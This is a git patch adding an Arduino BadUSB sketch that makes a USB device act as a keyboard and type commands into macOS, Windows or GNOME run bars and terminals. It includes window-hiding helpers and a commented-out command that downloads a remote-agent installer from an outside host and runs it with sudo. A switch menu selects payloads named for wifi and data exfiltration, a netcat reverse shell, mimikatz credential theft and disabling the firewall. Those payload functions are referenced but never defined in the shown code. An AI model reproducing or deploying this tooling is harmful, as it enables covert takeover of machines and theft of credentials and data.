From f3db4c26557d203543e42fa7c9723df5552e5d37 Mon Sep 17 00:00:00 2001 From: Didier Asechimann Date: Tue, 21 Oct 2025 18:27:39 -0400 Subject: [PATCH] Upload New File osx --- ino/BadUSB_OSX.ino | 393 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 393 insertions(+) create mode 100644 ino/BadUSB_OSX.ino diff --git a/ino/BadUSB_OSX.ino b/ino/BadUSB_OSX.ino new file mode 100644 index 0000000..2670657 --- /dev/null +++ b/ino/BadUSB_OSX.ino @@ -0,0 +1,393 @@ +// +// OSX Bad USB +// + +#include "Keyboard.h" + +bool Ro[8]; + +/******************************************************************** + * Opens the run bar and executes the command. + ********************************************************************/ +void CommandAtRunBarMSWIN(char *SomeCommand){ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(100); + Keyboard.releaseAll(); + delay(1500); + Keyboard.print(SomeCommand); + Keyboard.press(KEY_RETURN); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Run the program with admin privileges. -Joel Serna Moreno + ********************************************************************/ +void RunProgramAdminMSWIN(char *SomeCommand){ + Keyboard.press(KEY_LEFT_GUI); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.print(SomeCommand); + delay(3000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(4000); + Keyboard.press(KEY_LEFT_ARROW); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Minimize open windows. -Joel Serna Moreno + ********************************************************************/ +void MinimizeWindowMSWIN(){ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('d'); + delay(100); + Keyboard.release('d'); +} + +/******************************************************************** + * Open the search box. -Joel Serna Moreno + ********************************************************************/ +void CommandOpenSearchMSWIN(){ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('s'); + delay(100); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Block active sessions. -Joel Serna Moreno + ********************************************************************/ +void BlockSessionMSWIN(){ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('l'); + delay(100); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Close active program. -Joel Serna Moreno + ********************************************************************/ +void CloseProgramsMSWIN(){ + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_F4); + delay(100); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Opens the run bar and executes the command. + ********************************************************************/ +void CommandAtRunBarGnome(char *SomeCommand){ + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_F2); + delay(100); + Keyboard.releaseAll(); + delay(1500); + Keyboard.print(SomeCommand); + Keyboard.press(KEY_RETURN); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Opens spotlight and executes the command. -Adam Baldwin + ********************************************************************/ +void CommandAtRunBarOSX(char *SomeCommand){ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press(' '); + delay(100); + Keyboard.releaseAll(); + delay(1500); + Keyboard.print(SomeCommand); + Keyboard.press(KEY_RETURN); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Opens New Terminal and executes command. -Adam Baldwin + ********************************************************************/ +void CommandAtNewTerminal(char *SomeCommand){ + CommandAtRunBarOSX("Terminal"); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('n'); + delay(100); + Keyboard.releaseAll(); + delay(1500); + Keyboard.print(SomeCommand); + Keyboard.press(KEY_RETURN); + Keyboard.releaseAll(); +} + +/******************************************************************** + * Opens the run bar and executes the command. -Aaron Howell + ********************************************************************/ +void ShrinkCurWinOSX(){ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('h'); + delay(100); + Keyboard.releaseAll(); + delay(250); +} + +/******************************************************************** + * Shrinks the active window to help hide it. + ********************************************************************/ +void ShrinkCurWin(){ + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(' '); + delay(100); + Keyboard.releaseAll(); + delay(250); + Keyboard.print("n"); +} + +void ShrinkCurWinMSWIN(){ + ShrinkCurWin(); +} + +void ShrinkCurWinGnome(){ + ShrinkCurWin(); +} + +void PressAndRelease(int KeyCode,int KeyCount){ + int KeyCounter=0; + for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++){ + Keyboard.print(KeyCode); + } +} + +/********************************************************************* + * ledkeys returns the setting of the "lock keys" + * Num Lock = 1 + * CAPS Lock = 2 + * Scroll Lock = 4 + * Add them together to get combos, for example if all three are on, 7 would be the result + *********************************************************************/ +/* +int ledkeys(void) +{ + return int(keyboard_leds); +} +*/ + +/********************************************************************* + * Returns TRUE if NUM Lock LED is on and FALSE otherwise. + *********************************************************************/ +/* +boolean IsNumbOn(void) +{ + if ((ledkeys() & 1) == 1){ + return true; + } + else { + return false; + } +} +*/ + +/********************************************************************* + * Returns TRUE if Caps Lock LED is on and FALSE otherwise. + **********************************************************************/ +/* +boolean IsCapsOn(void) +{ + if ((ledkeys() & 2) == 2){ + return true; + } + else { + return false; + } +} +*/ + +/********************************************************************* + * Returns TRUE if Scroll Lock LED is on and FALSE otherwise. + **********************************************************************/ +/* +boolean IsScrlOn(void) +{ + if ((ledkeys() & 4) == 4){ + return true; + } + else { + return false; + } +} +*/ +//******************************************************************** + +// void RunScript_Nix_Install_Mesh() { +// Keyboard.print("(wget 'https://support.daprogs.net/meshagents?script=1' -O ./meshinstall.sh || wget 'https://support.daprogs.net/meshagents?script=1' --no-proxy -O ./meshinstall.sh) && chmod 755 ./meshinstall.sh && sudo -E ./meshinstall.sh https://support.daprogs.net 'INYpk$Xf2hkMKRCkGfy08RotsKO@62RZVe2KDw4WUq@QhwTCMs6uRfHzFruSR4GY' || ./meshinstall.sh https://support.daprogs.net 'INYpk$Xf2hkMKRCkGfy08RotsKO@62RZVe2KDw4WUq@QhwTCMs6uRfHzFruSR4GY'"); +// Keyboard.press(KEY_RETURN); +// Keyboard.releaseAll(); +// } + +void setup() { + Serial.begin(115200); + delay(2000); + + pinMode(2, INPUT_PULLUP); + pinMode(3, INPUT_PULLUP); + pinMode(4, INPUT_PULLUP); + pinMode(5, INPUT_PULLUP); + pinMode(6, INPUT_PULLUP); + pinMode(7, INPUT_PULLUP); + pinMode(8, INPUT_PULLUP); + pinMode(9, INPUT_PULLUP); + + Ro[0]=!digitalRead(2); // off=EN, on=FR + Ro[1]=!digitalRead(3); // Unused for the moment + Ro[2]=!digitalRead(4); // bit 32 + Ro[3]=!digitalRead(5); // bit 16 + Ro[4]=!digitalRead(6); // bit 8 + Ro[5]=!digitalRead(7); // bit 4 + Ro[6]=!digitalRead(8); // bit 2 + Ro[7]=!digitalRead(9); // bit 1 + + byte value = 0; + for (int i = 7; i > 1; i--) { + if (Ro[i]) + value |= (1 << (7-i)); + } + + Serial.print(Ro[0]); + Serial.print(" "); + Serial.print(Ro[1]); + Serial.print(" "); + Serial.print(Ro[2]); + Serial.print(" "); + Serial.print(Ro[3]); + Serial.print(" "); + Serial.print(Ro[4]); + Serial.print(" "); + Serial.print(Ro[5]); + Serial.print(" "); + Serial.print(Ro[6]); + Serial.print(" "); + Serial.print(Ro[7]); + Serial.print(" "); + + if (Ro[0]) { // Select keyboard language with first switch + Keyboard.begin(KeyboardLayout_fr_FR); + Serial.print("FR"); + } + else{ + Keyboard.begin(KeyboardLayout_en_US); + Serial.print("EN"); + } + + Serial.print(" "); + Serial.print(value); + Serial.println(); + + delay(3000); + + switch (value) { + case 0: // All 6 switches (2-8) are in the off position + Serial.println("No Script Selected"); + break; + case 1: + Serial.println("Win_Install_Mesh"); + RunScript_Win_Install_Mesh(); + break; + case 2: + Serial.println("Win_Exfiltrate_Wifi"); + RunScript_Win_Exfiltrate_Wifi(); + break; + case 3: + Serial.println("Win_Exfiltrate_Data"); + RunScript_Win_Exfiltrate_Data(); + break; + case 4: + Serial.println("Win_netcat_ftp_and_reverse_shell"); + RunScript_Win_netcat_ftp_and_reverse_shell(); + break; + case 5: + Serial.println("Win_lock_your_computer_message_prank"); + RunScript_Win_lock_your_computer_message_prank(); + break; + case 6: + Serial.println("Win_mimikatz_passwords_windows_ftp"); + RunScript_Win_mimikatz_passwords_windows_ftp(); + break; + case 7: + Serial.println("Win_FakeUpdateScreen"); + RunScript_Win_FakeUpdateScreen(); + break; + case 8: + Serial.println("Win_export_basic_information_wmic"); + RunScript_Win_export_basic_information_wmic(); + break; + case 9: + Serial.println("Win_DLandRunFile"); + RunScript_Win_DLandRunFile(); + break; + case 10: + Serial.println("Win_DisableFirewall"); + RunScript_Win_DisableFirewall(); + break; + case 11: + Serial.println(""); + break; + case 12: + Serial.println(""); + // statements + break; + default: + // statements + break; + } +} + + +void loop() { + // delay(3000); + // Ro[0]=!digitalRead(2); // off=EN, on=FR + // Ro[1]=!digitalRead(3); // + + // Ro[2]=!digitalRead(4); // bit 32 + // Ro[3]=!digitalRead(5); // bit 16 + // Ro[4]=!digitalRead(6); // bit 8 + // Ro[5]=!digitalRead(7); // bit 4 + // Ro[6]=!digitalRead(8); // bit 2 + // Ro[7]=!digitalRead(9); // bit 1 + + // byte value = 0; + // for (int i = 7; i > 1; i--) { + // if (Ro[i]) + // value |= (1 << (7-i)); + // } + + // Serial.print(Ro[0]); + // Serial.print(Ro[1]); + // Serial.print(Ro[2]); + // Serial.print(Ro[3]); + // Serial.print(Ro[4]); + // Serial.print(Ro[5]); + // Serial.print(Ro[6]); + // Serial.print(Ro[7]); + // Serial.print(" "); + + // if (Ro[0]) { + // Keyboard.begin(KeyboardLayout_fr_FR); + // Serial.print("FR"); + // } + // else{ + // Keyboard.begin(KeyboardLayout_en_US); + // Serial.print("EN"); + // } + + // Serial.print(" "); + // Serial.print(value); + // Serial.println(); +}